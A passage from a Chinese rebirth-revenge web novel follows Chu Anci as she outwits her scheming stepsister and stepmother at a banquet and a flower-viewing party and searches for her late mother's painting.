景离也看向她。
楚安辞见他不接,眼神失落,“大人不想要吗?那好吧!”
然后准备抱着酒壶转身,语气也更显失落。
“拿来!”
景离突然伸出手,楚安辞一愣,随即欣喜的将酒放到景离的手上。
“给您!”
景离道:“想要什么?”
“啊?”
“我问你,你想要什么?我收了你的酒,不能白收,我景离不喜欢欠人情!”
楚安辞犹豫了一下,道:“我没什么想要的,不过大人如果非要给的话,那等我需要的时候,大人帮我一二可好?”
“不过大人您放心,我不会让您做违背原则的事情的。”
“只是我父兄不在京城,没人护我,所以......”俨然一副小白花祈求保护的样子。
这样的楚安辞,让景离笑了。
那笑非但不让人觉得友善,反而让人不寒而栗。
萧起有些担忧好友会发作,直接杀了这个有些不自量力的小丫头。
楚潇雨则一副看好戏的样子,心道:楚安辞,你招惹谁不好,偏偏去招惹这位煞神,你死定了。
然而,在众人惊诧的目光中,他竟然答应了,“好!”
一旁的萧起不禁深吸一口气,“景离,你竟然答应了?”
景离看向他,眼神似是在说‘不行吗?’。
萧起扯出一个难看的笑,眼神中依旧满是惊讶和不可置信:这是我那位冷面阎王,不近人情的好友吗?
竟然因为一壶酒,答应保护一个小姑娘!
肯定是我今日没睡醒,对,没睡醒!
但视线落在酒上,萧起又打起精神来,“都是兄弟,这个给兄弟喝两口!”
景离却将酒壶往后一抛,交给了一直站在那里的灵渊。
萧起撇嘴,“你这也太小气了!”
然后转身对重新落座的楚安辞道:“楚妹妹,你怎么不给我,还给这个不近人情的家伙,我不好吗?”
楚安辞道:“可是我只有一壶,如果下次还有,我再给萧世子可好?”
虽然知道这只是托词,但萧起还是很开心,“多谢楚妹妹了!”
沈厉岚则脸色阴沉的难看,放在桌子底下的手暗暗握拳,眼神不善的盯着楚安辞。
而楚安辞似是没有察觉,正开心的品尝美味佳肴。
一旁面对一桌子美食食不知味的楚潇雨,心中不但惊讶于楚安辞逃过一劫,更加对楚安辞警惕起来。
“姐姐,那可是醉清欢,沈哥哥刚好需要,你怎么不给沈哥哥,反而给了外人?”
楚安辞收回伸出去的筷子道:“没有啊,并且沈世子也是外人啊!”
“妹妹,你觉得沈世子不是外人吗?”
楚潇雨:“他是你的未婚夫!”
“可是我还没嫁过去啊,没嫁过去就还不是!”
“并且我给大人,大人也答应了会保护我,我们这算是利益交换!”
“不过沈世子如果真的非常需要,要不我去找慕棋姑娘说一说,让她给匀一壶出来,让沈世子买。”
“这个应该是可以的。”
她还很是肯定的点头,觉得这点事情,慕棋姑娘应该能给几分面子。
慕棋心道:小姐,整个万方楼都是您的,您想要还不是随便拿,至于小姐不喜欢的人,有银子都不给!
楚潇雨气的咬牙,看了一眼脸色更加阴沉的沈厉岚,想了想道:
“姐姐,你知道的,那酒很贵的。”
“沈哥哥向来不喜铺张浪费,不然你买来,送给沈哥哥!”
楚安辞惊讶的看向她,嘴巴微张,久久合不拢。
看的楚潇雨怀疑自己是不是说错了话。
楚安辞则看看楚潇雨,又看看听到楚潇雨的话,再次面含期待的沈厉岚,许久才道:
“妹妹,这样不好吧?”
“虽然我也很想帮助沈世子,毕竟他是我的未婚夫!”
“可是我们还未曾成婚,还没有成婚就不是一家人。”
“不是一家人,作为男子怎能花未来妻子的钱呢?传出去那会被人戳脊梁骨的!”
“我知道妹妹是好心,但是这样做是在害沈世子的名声,这样的话可不要再说了!”
“我如果真的如此做了,那将置沈世子于何地?”
然后对脸已经黑的快要维持不住的沈厉岚道:“沈世子,你不要介意啊,我妹妹可能也是关心则乱!”
她这话,简直就是越描越黑。
小姨子时刻关心着姐夫,这是什么意思?
这是在说二人之间有奸情吗?
楚潇雨着急道:“我不是那个意思!”
楚安辞安抚楚潇雨,“是我理解错妹妹的意思了吗?对不起,是我不好!”
“沈世子,如果我说错了什么,我向你道歉!”
“可能妹妹只是担心沈世子,所以说的话让我误会了,对不住啊!”
得,更黑了!
一旁的萧起已经将好不容易吃近嘴里的一口菜喷了出来,他其实很想忍住的,可实在是憋了又憋,没憋住。
就连一旁的灵渊也紧紧低着头,肩膀不停地颤抖:这位楚家大小姐说话也太有意思了,这话不得不让人多想啊!
“行了,你别说了!”
楚潇雨猛地站起身,瞪着楚安辞,将楚安辞吓的筷子都掉了,“妹妹!怎么了吗?”
“妹妹突然发脾气,姐姐有些害怕!”
楚潇雨自知失态,很快整理好表情,“姐姐误会了,我没有那个意思,我知道你们从小就有毁约,而你又一直在北境,担心你和沈哥哥没什么感情,这才想要帮助你们。”
“我这也是替你们着急,没想到姐姐竟然这样误解我!”
说着话,楚潇雨眼泪扑簌簌的落下,看起来楚楚可怜,一副受了大委屈的样子。
第15章 什么马配什么鞍
看到楚潇雨哭了,沈厉岚不忍,并且因为心中对楚安辞的恼怒,便道:
“楚安辞,你怎可这般胡言乱语,污我与楚二妹妹的名声?”
“楚二妹妹也是为了我们好,你这样说她,安的什么心?”
因为萧起一口一个楚妹妹的叫着,沈厉岚不得不做出区分,对楚潇雨改叫楚二妹妹。
闻言,楚潇雨心中更加不悦,哭得更伤心了。
楚安辞则在被沈厉岚呵斥的一瞬间,眼眶微红,强忍着眼泪,有些慌乱且语无伦次地解释。
“对不起,对不起,是我误会妹妹了,对不起,都是我的错。”
“刚才妹妹让我花钱给沈世子买酒,我本也是为了世子名声考虑,我真的不知道说错了什么,让妹妹这么难过。”
“都是我不会说话,都怪我!”
楚安辞虽然没有像楚潇雨那般哭泣,但强忍泪水的样子,更让人看得心疼。
萧起道:“刚刚楚妹妹也没说什么啊,楚二小姐那般说本就不妥。”
“堂堂宣平侯府世子,花未婚妻的钱像什么话?楚妹妹你没错!”
“倒是沈世子,你为了未婚妻的妹妹,这般斥责你的未婚妻,反而让人多想。”
“刚刚楚妹妹可都是为你考虑,沈世子这般作态,我都怀疑京中传闻沈世子贤达有礼,乃京中端方君子第一人,是否属实了。”
“还是说,沈世子与楚二小姐......”
他眼神略带兴味。
沈厉岚彻底冷了脸,“没得有事,为了姑娘家名声,萧世子休得胡言!”
萧起嗤笑一声,也没再继续说什么,他虽然纨绔,但是毁了女子名声这事,还是不会轻易去做的。
一边楚安辞使劲抿着嘴,一眼不发,眼中的泪水依旧强忍着,只是目光满是歉意的看着楚潇雨,却不再发一眼!
沈厉岚看看萧起,又看看楚潇雨,最后视线落在楚安辞身上,深吸一口气。
“抱歉,是我刚才无撞,楚二妹妹虽然是为我好,但确实有失妥当!”
“楚大小姐别介意。”
“楚二妹妹,你......”
他顿了一下,对沈琼珠道:“妹妹,你与楚二妹妹是好友,你去哄哄她,楚大小姐既然不是那个意思,就别怪她了,都是自家姐妹,传出去不好看!”
楚潇雨见此已经收了泪,只是微微抽泣。
听到沈厉岚的话,她攥紧帕子,挽回道:
“对不起姐姐,是我误会了姐姐的意思,姐姐别介意!”
“不行回头我任由姐姐处置好不好?”
楚安辞心中冷笑:都这个时候了,还给我挖坑呢!
她道:“没事的,也是我说话让妹妹误会了!”
“我又怎会真的怪罪妹妹呢,如果真的罚了妹妹,母亲该和我恼了!”
虽是玩笑话,但也提醒了众人,将军府现在她自己一边,没有人相护。
但萧氏确是楚潇雨的亲娘,如果真的受委屈,那最后受委屈的也不会是楚潇雨,只能是自己。
后宅那点子事谁不知道,名声再好,背地里如何,谁又知道呢?!
楚潇雨不想,楚安辞又将自己的话不动声色地圆了过去,还提醒了所有人,她才是无依无靠的人。
她知道不能再说了,再说下去还不知道楚安辞能说出什么。
自己刚吃了亏,如果再牵扯出母亲那就不好了。
“怎么会呢,母亲疼姐姐还来不及呢!”
一句话,结束了之前的风波。
但因为之前的事,其他人也无心品尝美食了。
除了楚安辞,和一直看热闹的萧起。
当然,还有沈厉安,他没心没肺的,依旧跟着萧起吃得高兴。
至于景离?他在外面向来不怎么吃东西,所以都没人去在意。
剩下三人守着一桌子美食,就有些索然无味了。
好不容易用过饭食,大家就此分开各自回府。
这次楚潇雨也懒得与楚安辞装什么姐妹情深,但似乎是为了刺激楚安辞,在万方楼门口的时候,她还是看着沈厉岚道:
“沈哥哥,我身体有些不适,你可否送我回家?”
说完,又似是说错了话,改口道:“哦,不是,是送我和姐姐回府!”
沈厉岚哪有心情,不过看着楚潇雨那模样,他不忍拒绝,低声道:“好!”
然后回头对沈厉安叮嘱,“你带着妹妹先回侯府,我将楚二......两位小姐送回将军府。”
沈厉安摆手,“大哥放心就是!”
沈厉岚骑马在前,后面是楚潇雨的马车,几乎与沈厉岚并排。
楚安辞的马车跟在他们后面,白灼掀开车帘,看着前面楚潇雨探出头来,不停和沈厉岚说话的场景,嘟嘴道:
“这二小姐也太不要脸了,竟然光明正大的勾引自己的姐夫!”
“那沈世子也是,明知自己与大小姐有婚约在身,还这般不知避嫌,什么谦谦君子,我看就是个伪善之人!”
楚安辞慵懒随意的斜靠在马车内,手上不知何时多了一本话本,正饶有兴味的看着。
听见白灼的话,她眼睛都没抬,“什么马配什么鞍,我倒是觉得他俩挺相配的。”
白灼惊讶,“大小姐,您这是什么意思?难道您想要取消这门婚事?”
楚安辞摇头:“取消做什么?”
“那小姐是何意?”
“人家都那么相爱了,我们得学会成全。”
“别忘了,我们可都是善良之人呢!”
白灼更加不解,“成全他们,那不还是要取消婚约吗?还是说小姐愿意姐妹共侍一夫,让沈世子纳了二小姐为妾?”
“不会吧,小姐,这不是您的风格啊?这样的委屈您能忍?”
楚安辞用话本敲了敲白灼的头,“想什么呢?我的脾气你还不知?怎么可能?”
白灼松了口气,“那就好,可吓死我了!”
然后嘟囔道:“不过二小姐这般傲娇,估计也不会甘心与人为妾的。”
楚安辞没有接话,心道:上辈子受了那么多委屈,这辈子我是绝不会让自己再受那种委屈的。
不过楚潇雨,她可是一位为了达成自己的目的,宁愿做平妻都要嫁进侯府的。
虽然不是妾,但与妾又有何区别?
我真的想看看,这一世有我的成全,你们两个会有多恩爱?
只是如果当沈厉岚发现,我能给他带来的利益,不是楚潇雨这单纯的温柔小意能比的时候,还会不会如上一世一般,那般宠爱他的这位小娇妻呢?
还真是期待呢!
这辈子啊,我就想看着你们最后互相厌弃,还要亲眼看着沈厉岚这个渣男,一无所有,才能抚平一点我前世遭受的痛处!
万方楼门口,看着已经走远的马车,萧起觉得兴致缺缺,自去找乐子了。
最后只剩景离。
景离看向马车离开的方向,目光幽深,对灵渊和灵耀道:
“楚北辰可有查到?”
灵耀一个激灵,立即回道:“属下查过了,大将军只有一子两女,无妾更无外室,自从先夫人离世后,娶了这位萧夫人,便再无其他女子。”
“而楚北辰此人,就好似凭空出现的一般,什么线索都没有,更没有查到与将军府有任何瓜葛。”
说最后这话的时候,灵耀紧张的看着景离,后背冷汗都出来了。
随时等着主子惩罚。
也是奇怪,他跟在景离身边这么多年,从未出现过这种情况。
一个能与主子身手不相上下的人,竟然一点相关线索都没有,这样的人突然出现,也不知道是好事还是坏事。
见景离许久不言语,灵耀试探的问道:“可要属下继续查探?”
景离摇头:“不用了!”
灵耀松了口气,与灵渊对视一眼,二人都不清楚主子心里在想些什么。
因为景离小时候的处境,导致他自小心思敏锐,脾气微冷。
虽然他们在景离身边算是最得力的人,但景离心思深沉,这么多年了,他们依旧摸不透这个主子。
不过他们知道一点,只要他们忠心,听话,便被主子一直看重。
如若有了别的心思,估计不等他们做什么,人就消失在这个世间了。
回到将军府,姐妹二人一同去静安居给萧氏请安。
萧氏还是那般慈爱的看着二人,对楚安辞道:“你既然已经回来了,也该和京城各家贵女多多接触才是。”
“我刚还在想着,要不要办一场赏花宴,邀请京中闺秀和夫人来府上坐坐。”
“刚好前两日得了两盆晚菊,正是开的正盛的时候,也想要邀请她们一起赏玩。”
第16章 冷面阎王
楚安辞道:“多谢夫人,但凭夫人做主!”
楚安辞应下,萧氏便道:“那好,我看三日后就不错,这两日准备一番,也让雨儿给你讲讲各家小姐,到时候也好与她们能说上话。”
楚潇雨道:“放心吧母亲,我会好好讲与姐姐的,不过既然是赏花宴,要不将沈哥哥他们也一起叫来玩吧。”
“姐姐与沈哥哥有婚约在身,但他们二人没怎么相处过,今日虽然见了一面,但我觉得姐姐和沈哥哥还是生分了,应该让他们多多接触才是。”
“有了感情,日后嫁过去姐姐也好过的顺意一些。”
萧氏却有些为难,“难为你为你姐姐考虑这么多,只是......”
“唉,只是府中只有我们母女三人,并无男子待客,怕是不好招待!”
楚潇雨挽住萧氏的胳膊,道:“这有什么?我们可以将表哥喊来啊,他是母亲的侄儿,也算是我们将军府的人,让他来帮忙招待男客再好不过了。”
萧氏点头,“也不是不行,那就这样吧,我让管事去安排。”
“你们两个也玩了一天了,快回去休息吧,我这里不用你们陪着。”
楚潇雨福身一礼,“谢谢母亲!”
然后就亲密的拉着楚安辞要走,好似之前的事情不曾发生过一般。
楚安辞也配合,出了门还感激的说道:“多谢妹妹处处为我考虑。”
楚潇雨道:“应该的,谁叫你是我的姐姐呢?”
但楚安辞清楚的看到了楚潇雨眼底的算计,心道:她突然这么好心,又是在算计什么?
不过也没有特别在意。
两人走了一段路就分开了,各自回自己的院子。
刚回到明姝院,楚潇雨脸色便是一冷,眸光狠厉的盯着采姝。
采姝一个哆嗦,立即跪倒在地,“小姐。”
楚潇雨看着她道:“你是怎么办的事?为何那马还是冲着我来了?你差点将我害死知不知道?”
“如果不是沈哥哥出现的及时,今日出丑的就是我了!”
采姝额头重重的磕了两下这才道:“小姐恕罪!”
“奴婢当时得了小姐吩咐,便去找安排的人了,只是不知道中间出了什么问题,那人没在说好的地方,当我找到他的时候,一切已经来不及了!”
“是奴婢办事不利,还请小姐责罚!”
采姝又是接连磕了几个响头,眼泪不停地流。
甚至额头已经出了血。
见此,楚潇雨这才道:“你起来吧!”
“这次也算是因祸得福,不算没有一点收获!”
“刚好让楚安辞看到了沈哥哥有多么的在意我,我就不信她一点都不吃醋,一点都不介意。”
“她的未婚夫,一心想着的是我,呵呵,她还能忍?”
采姝已经站了起来,听到楚潇雨的话,连忙道:
“小姐与沈世子自小青梅竹马,天生一对!”
“只有小姐才能配得上沈世子,大小姐算什么,不过是野蛮之地回来的野丫头罢了,根本与小姐没法比!”
“沈世子自然也是知道的,所以心里眼里都只有小姐。”
“奴婢今日可是看到了,沈世子时刻护着小姐,不曾多看大小姐一眼。”
这话说得楚潇雨很是满意,“那是自然,我从小在沈哥哥身边长大,我们青梅竹马,两小无猜,感情岂是她一个外人能比的。”
“给我拿张帖子来,三日后的赏花宴,我要亲自给沈哥哥写帖子,邀请他过来。”
采姝连忙附和:“是小姐,您亲自写的帖子,沈世子一定会很开心的。”
这下楚潇雨更高兴了,之前的不愉快已经消失的七七八八。
赏花宴办的有些仓促,不过花了钱,准备的也妥当。
这两日瑶华居不断有人进进出出,都是为赏花宴提前给楚安辞准备东西。
就连绣娘也接连来了好几趟,一看这架势,任何人都会说萧氏对继女有多宠爱。
赏花宴当天的布料是萧氏亲自选的最好的,绣娘也是亲自叮嘱安排的。
就连那日佩戴的首饰都是她亲自挑选的。
将军府这两日动静很大,不免传出了些风声。
现在外面都在传萧夫人有多好,对先夫人留下的女儿,比对自己的亲生女儿还要好。
一时间慈母的名声在外,各府后院都在夸赞萧氏。
也就是在这样的议论中,楚安辞收到了万管事的信,娘亲的画有消息了。
第二日就是赏花宴了,楚安辞看了看都安排的差不多了,叫白灼守家,自己则与蓝英换了男装,离开了将军府。
这次是白日,两人没有飞檐走壁,而是在大街上闲适的走着。
一身低调锦衣的贵公子,面容白皙,样貌俊美,不时引来女子侧目。
楚安辞佯作不知,毫不在意的欣赏着沿途的风景,不是还停下来,与街边的小贩搭两句话,顺便买两件有趣的小玩意儿。
马蹄声快速响起在街道上,路上行人纷纷避让。
“镇抚司办差,无关人等速速避让!”
“镇抚司办差,无关人等速速别让!”
随着前面骑马的兵士喊话,所有人都退至两旁。
正在一个小摊子便看着面具的楚安辞回身,刚好一匹高大的骏马从她面前走过。
马背上男人身姿笔挺,目不斜视。
可是偏偏路过楚安辞的时候,男人扭头看向了她。
楚安辞也淡定的回视,甚至还对着景离笑了笑。
景离瞥了一眼,没有说话,径直打马离开。
后面的灵耀早就发现了男装的楚北辰,正惊讶呢。
还想说两句,他对这位突然出现的楚北辰很是好奇,但见主子已经走了,也只能跟了上去。
看着一行人风风火火的离开,街道上的人这才松了口气的样子,楚安辞道:
“看来这位都督,似乎挺不招人待见的。”
蓝英还没开口,他们旁边的小摊主便道:“哎哟,虽然是大实话,但可不能乱说。”
“这位都督手段狠着呢,下手从不留情,杀人毫不眨眼,人称冷面阎王!”
“在这京城,上到皇亲贵胄,下到七品小官没有一个不畏惧的,一个不好被他抓到小辫子,那可就是要抄家灭族的。”
“公子是刚到京城的吧?我可告诉你,以后见到这位躲着点,这可是可以止小儿夜啼的存在。”
楚安辞随手摆弄着手中的面具,心里不知道在盘算着什么。
只是觉得突然出现这么一个上一世不曾听说过的人物,还挺有意思的。
那人道:“公子,这面具您要不要?不要的话,还请公子还回来。”
那人紧紧盯着楚安辞手中的面具,生怕眼前这位好看的公子会拿走不给钱一样。
楚安辞好笑,“这面具本公子要了!”
然后指了指摊子上几个比较好看的和可爱的款式,“这几个本公子也要了,一起包起来!”
“蓝英,给钱!”
没再多做停留,二人到了万方楼。
现在是半下午,万方楼依旧人来人往很是热闹。
但却没有人大声喧哗,都在自己的角落聊天喝茶。
不时还有琴声从三楼的包间传出。
二楼还有人正在颂诗。
侍者见到楚安辞,立即迎了上来,“辰公子,您请!”
跟着侍者上到三楼,万管事专门给她留的包间。
侍者立即给上了楚安辞喜欢的茶,点了她喜欢的香,然后退了下去。
不一会,敲门声响起。
“公子,慕画求见!”
蓝英打开门,一席淡粉色长裙的慕画走了进来,身后是慕棋和慕书。
三人齐齐一礼。
“慕棋。”
“慕书。”
“慕画。”
“见过公子。”
她们向来都是如此,楚安辞是女装她们就称小姐,楚安辞是男装她们就称公子。
明明是一个人,可是在她们这里却好似是两个人一般。
但是态度都是一如既往的恭敬。
第17章 故园遥忆
慕棋道:“公子,慕琴这会正在招待客人,故无法前来。”
“她还说自那日与公子匆匆一面,也未及多言,心中多有惋惜。”
楚安辞随手让她们坐下,“无妨的,你们忙你们的就是,左右我已归京,以后会经常见面的。
今日我来也是为了别的事情!”
然后对蓝英摆了摆手,“路上买了些小玩意儿,你们看看可有喜欢的,分给大家拿去玩吧!”
慕画笑道:“果然公子还是那么的宠我们,之前在北境就是,时隔多年,公子还是一如既往的想着我们。”
“看到有趣的东西,买给我们的习惯依旧没改!”
慕画这般说,在场几人都笑了起来。
虽然都是小东西,可是这足以表明,她们的主子时刻记挂着她们,所以她们都很感激。
她们原本都是孤儿,家人死在蛮人手中,原本以为要死掉的人,却被当时还是小女孩的楚安辞捡了回来。
给她们请大夫看病,给她们吃食饱腹,给她们衣物保暖,并让她们住上了不漏风的大房子。
甚至还请人教她们识字,学习本事。
她们跟在楚安辞身边的生活,甚至比之前父母亲人还在的时候都要好上千万倍。
也是因此,她们都愿意死心塌地的跟在楚安辞身边。
为她做任何事!
慕书道:“公子可是为了先夫人的画来的?”
楚安辞颔首,“嗯,我收到了万管事传的信!”
慕书道:“嗯,消息是我从一位公子那里打探到了,慕画还专门又在他人那里确认了一番。”
“为了确定那确是夫人的遗作,万管事也找人去他家里打探过了,确实是夫人的遗作。”
慕画接过话头:“据打探来的消息,和那些人的大致描述,应该是夫人之前作的‘故园遥忆’图。”
楚安辞一听是那幅画,神情略带上了几分悲伤。
“原来是这幅画!”
她听哥哥说过,‘故园遥忆’乃娘亲与爹爹成婚前所作。
当时整个长孙氏一族已经覆灭,只剩娘亲一个孤女。
娘亲长孙舒然作这幅画,也是借着思念故园的名义,悼念已经逝去的亲人。
原本堂堂百年大族长孙氏,只因前朝暴君一句话,整个家族覆灭。
虽然前朝没了,可是她的家人却再也回不来了。
并且只剩了她长孙舒然孤零零一个人,可见每到夜深人静时,她的心底该有多苦?
“在哪里?”
慕画回道:“回公子,在靖安伯府,伯夫人手中。”
“不过我们试过能不能高价买回来,可是那冯夫人也是爱画之人,特别喜欢收藏画作,到她手中的画,很少有出手的,怕是不好办!”
楚安辞早就想过,她娘亲的画不会那么容易拿回来的。
想了想问道:“可还有其他有关靖安伯府的消息?”
慕棋道:“听闻靖安伯是个极孝顺的,因老伯爷走的早,老太君为了扶持儿子继承伯爵的位子,甚是辛苦,所以靖安伯对他的母亲最是孝顺。”
“据传,老伯爷生前宠妾灭妻,那妾室仗着老伯爷宠爱,想要谋夺爵位,差点害死正妻。老太君身体不好,也是那个时候落下的病根,日日受病痛折磨,甚少出府。”
“公子,您是栖云谷的小神医,应该可以从这方面入手,只是......”
她叹了口气,“唉,公子,您小神医的名声在北境是传开了,可是没有传到京城来啊,京城几乎无人知晓您的存在。”
“要不要我们帮您,打造一下您的名声?”
楚安辞摆手,“不用,在京城我打算用女儿身展露医术,至于他们会不会信......到时候没有不信的!”
“并且我以楚安辞的身份搜寻娘亲的遗作,师出有名。”
“如果用楚北辰的身份,难免会引人怀疑。”
慕书,“凭借公子的医术,肯定会征服那些人的。”
“但如何与伯府搭上关系呢?想要进府给老太君看病,怕是不会那么容易的。”
楚安辞手指在桌子上轻点两下,道:
“无妨,自会有办法的。”
“或许明日的赏花宴,应该会有进入伯府的契机。”
虽然她也可以直接递帖子,以将军府的身份,伯府肯定会好好将她请进去的。
但她毕竟初归京,直接上门说给人老太君看病,即便是将军府的大小姐,人家怕是也不敢用。
所以楚安辞决定一步一步来,左右已经知道母亲的画作下落了。
但长孙舒然所作之画可不止这一幅,还得继续寻找。
只是可惜,当时萧氏卖画的时候做的隐蔽,时间又有些长了,不好查探。
大多数人买了喜欢的画回去,只有极少的人会挂在外面,大多都会珍藏起来。
书画的价值不可估量,这些可都是可以传承下去的。
为了不引人怀疑,楚安辞没有在万方楼久待,天黑前回了将军府。
一回来,白芍便道:“小姐,您终于回来了,二小姐派人来给您送了这个。”
白芍递过来一个厚厚的小册子,楚安辞打开只一眼便知道是什么了。
上面每一张纸上,都介绍了某家小姐的信息,以及家中长辈在朝中的地位。
白芍道:“这些我都看过了,和咱们知道的信息没什么差别,她没有捣鬼。”
“甚至这上面的信息,还没有万管事给我们的全呢!”
“她命人送来这个,我还以为她要在这上面做手脚,没想到竟然没有,她何时这般好心了?”
楚安辞随意翻了翻,将东西放回到桌子上,“你觉得她这是好心?”
白灼惊讶的看着她,“虽然我不想承认,但却是没做手脚啊!”
楚安辞:“蓝英,你告诉她!”
蓝英道:“距离宴会还有一晚她才将东西送过来,如果小姐明天不想出丑,那就得连夜将这些内容背下来。”
“背一夜,明日便可能因为状态不好,顶着黑眼圈出现在大家面前。”
“如果没背,那就很可能会在众人面前出丑。”
楚安辞点头,“嗯,说的没错。”
“萧氏给了三日准备时间,可是她偏偏最后一日,甚至都快天黑了才送过来,即便内容没什么问题,也没见其有什么好心思。”
白灼被提醒,气道:“还真是丑人多作怪,不行,我去找她们问问清楚。”
楚安辞道:“你何时这般沉不住气了?闹开也没什么意义,她只会说内容有点多,这还是她辛辛苦苦忙了两天才整理出来的,最后将锅又甩到我们头上,说我们不是好心,鸡蛋里挑骨头。”
“而你家小姐我,是那种人吗?”
白灼下意识的道:“是!”
“嗯?”
“啊,不是不是,小姐说的有道理,这二小姐心眼子太多,我都怀疑她是不是莲藕成精了!”
“小姐,你们去万方楼怎么样?找到夫人的画了吗?”
楚安辞换好衣服,坐下道:“嗯,找到了,靖安伯府有一幅。”
“白灼,你去问萧氏要一份明日的宾客名单我看看。”
白灼立即去了。
很快拿了一份名单回来,楚安辞看着上面的名字一一扫过。
果然有靖安伯府的名字,并且上面有写,邀请的是伯夫人,还有伯府大小姐。
然后在脑海中回忆着有关于二人的信息,心中便有了数,静等明日的到来。
而她却不知,明姝院那边,楚潇雨这两日也没闲着,已经有了主意,算计着如何达成自己的目的,拿到自己想要的。
一想到瑶华居两库房的宝贝,楚潇雨嫉妒的不行。
在她看来,整个将军府都是她的,所以楚安辞带回来的东西自然也应该是她的。
她问采姝,“我让你送出去的信,你送了没有?”
采姝低着头道:“回小姐,已经送出去了,亲手交到了表公子小厮手中。”
楚潇雨点头,“那我就等着明日看好戏了。”
第18章 大舅母是胖的吧
一想到明日楚安辞会在众人面前出丑,她心底便有些兴奋:
凭什么所有东西都是她的?
沈哥哥与我才是青梅竹马,而她却与沈哥哥拥有一纸婚约,我呢?
都是将军府的小姐,为何就要我让着她?
将军府的东西我要,沈哥哥我也要。
楚潇雨平时虽然被萧氏教导,但没有外人的时候,她从不隐藏自己心底的贪婪。
这么多年,将军府只有她一个小姐,她也理所当然将这里的一切当做她一个人的。
现在楚安辞突然回来,她就得接连退避,这让她很不爽,也更加嫉恨楚安辞。
——
翌日,赏花宴。
宾客陆续而至。
萧氏带着楚潇雨迎接客人。
楚安辞则一直在瑶华居,还没有出去。
等客人到的差不多了,那边才有嬷嬷过来喊她。
到得静安居,楚安辞规规矩矩的与夫人小姐们见礼。
并在萧氏介绍的时候,很是轻松自如的与夫人们寒暄。
“这位就是萧国公府的夫人。”
萧氏示意楚安辞见礼。
楚安辞面上不动声色地扫过眼前的雍容妇人,心中冷笑:
只说是萧国公府的夫人,却不说是谁,这是等着坑我得罪人呢!
萧国公府的国公夫人并不是眼前这位,而是当今皇帝的姐姐,安阳公主。
而安阳公主那样的身份,自是不会来这种宴会的,所以今日来的是国公府的二夫人。
如果楚安辞不知道其中缘由,真的喊了国公夫人,那得罪的可不止眼前这位二夫人,甚至还有安阳公主。
如若再有人从中挑拨,楚安辞还会背上挑拨国公府家宅的头衔,那她这刚刚回京的大小姐,就别想在这里待下去了。
楚安辞对着萧二夫人盈盈一礼,声音甜且柔,但一点都没有小家子气的感觉:
“安辞给萧二夫人请安。”
萧二夫人面容慈和,着眼仔细大量楚安辞,心中惊叹:
好一位娇俏玲珑的小姐,这容貌完全不输在场任何闺秀,只是可惜了,已经早早有了婚约。
“楚大姑娘有礼了”,然后从手腕上退下一个碧玉镯,拉过楚安辞的手顺势给套了上去。
“都言北境苦寒,但怎么也没想到,竟还能养出楚大姑娘这般娇俏的人儿,看着我就喜欢。”
楚安辞一副女儿家娇羞姿态,“夫人过誉了!”
看着萧二夫人拉着楚安辞说话,甚是喜欢的样子,楚潇雨暗暗咬牙:
我明明故意将萧国公府的内容放在靠后的位置,她竟然都看完了?
再看楚安辞的神色,完全不像是熬过夜的,暗自摇头:
不可能,之前母亲让我记这些,我可是足足用了十来天,她怎么可能一夜就全都记下来,肯定是凑巧了。
但见楚安辞能够轻松应对这些夫人,楚潇雨突然发现,楚安辞似乎真的早有准备。
而她故意将册子在最后时刻才给她,就是为了压一压楚安辞,让她出丑。
不曾想根本没有难住她!
这会冯夫人正对萧氏道:
“夫人好福气,将军府的两个姑娘都是极好的,你将来有福了。”
萧氏颔首:“冯夫人可是说到我心坎上了,你看看这俩姑娘,各有各的好,我可是都喜欢的紧呢!”
“之前我就多次写信,让将军将大姑娘送回来,生怕她在那里吃苦受罪,现在终于回来了,我这颗心啊,也终于落下了。”
冯夫人道:“夫人慈爱,对所有孩子都如亲生,一视同仁!”
然后是其他夫人对萧氏的好一番夸赞。
楚安辞则在冯夫人说话的时候,视线就锁定了她:这就是那位靖安伯府的冯夫人,收藏我娘‘故园遥忆’图的人。
楚安辞静静的打量冯夫人,心中暗自盘算着什么。
突然一道略显尖锐的声音道:
“我妹子啊就是心善,你们说说哪有继母能做到她这个份上的?”
这话一出,大堂内安静了一瞬。
然后有几人附和两声,不过大多数人都没接话。
毕竟这里做继母的可不止萧氏一人,多说多错,聪明人都选择不接话。
但王氏却毫无所觉,依旧道:
“你母亲对你这般好,你也合该好好孝顺你母亲才是!”
楚安辞看着那人,身材微微发胖,尤其是腰腹处,即便穿着宽松的袄裙,依旧挡不住微微凸出来的隆起。
但楚安辞可以确定:这凸出来的大肚子,绝对不是有孕才有的,这是胖的吧?
心里虽然在吐槽,但她面上诚恳,“这位夫人教训的是,我自是会好好孝顺夫人的。”
王氏被那声夫人叫的一梗,拍着大腿道:“我是你大舅母!”
楚安辞一愣,楚潇雨道:“忘记告诉姐姐了,这是外祖母家的大舅母。”
楚安辞了然:哦~合着是萧氏的娘家人啊!
我怎么把她给忘了,上一世可没少来将军府打秋风呢。
我娘留下的东西,应该有不少落在她手中了吧?
她乖巧的喊了声,“大舅母!”
王氏这才满意,抬着头仰着脸,下巴朝天,用眼缝里看人的模样道:
“既然知道孝顺母亲就好!”
“听说你这次回来,你父亲让你带回来不少东西。”
“将军在外守边,依旧时刻挂念着家里是好事,我妹妹啊,真是嫁了个顶好的夫君!”
萧氏道:“是啊,将军一向疼爱女儿,生怕大姑娘回来受委屈,所以就多准备了些。”
王氏却讶然:“怎么,只给大姑娘准备了,没有你们的?”
萧氏垂眸,似是在想着如何为将军开脱。
楚安辞就那么看着,听着,没接话,等着她们继续出招。
果然,就听王氏话锋一转,“不过我怎么听说大姑娘回来,可是带了好几车的东西,这不可能都是给大姑娘的吧?”
然后用审视的眼神看向楚安辞,一脸的嫌弃,“还是说,有人起了不该有的心思?”
在场都是高门夫人,虽然很是瞧不上王氏这般咄咄逼人,但摆着有热闹不看是傻子的心态,没人说话,都这么静静的看着。
一时间,原本和乐的气氛很是诡异。
萧老夫人摆出一副长辈姿态,开口道:
“哼,这像什么话?”
“好歹我女儿也是将军的妻子,辛辛苦苦守着将军府十几年,没有辛劳也有苦劳,哪有只想着一个女儿,不顾及妻子和二女儿的道理?”
然后又看向楚安辞,“你父亲在外,你这做女儿的且不说为将军府做什么,也和该顾忌一下将军府的颜面,切勿将边远地区那上不得台面的风气带回来才是。”
萧氏阻拦,“母亲~”
“不是大姑娘的错,将军在外辛苦,一时考虑不到也是有的,此事怪不得将军。”
“并且大姑娘这般惹人疼,别说是将军,就是我,我也愿意将一切都给她!”
王氏声音尖锐又刻薄,“妹妹,我说你就是太心善了,都这个时候还在一心想着别人。”
“你也不看看人家有没有念着你的好!”
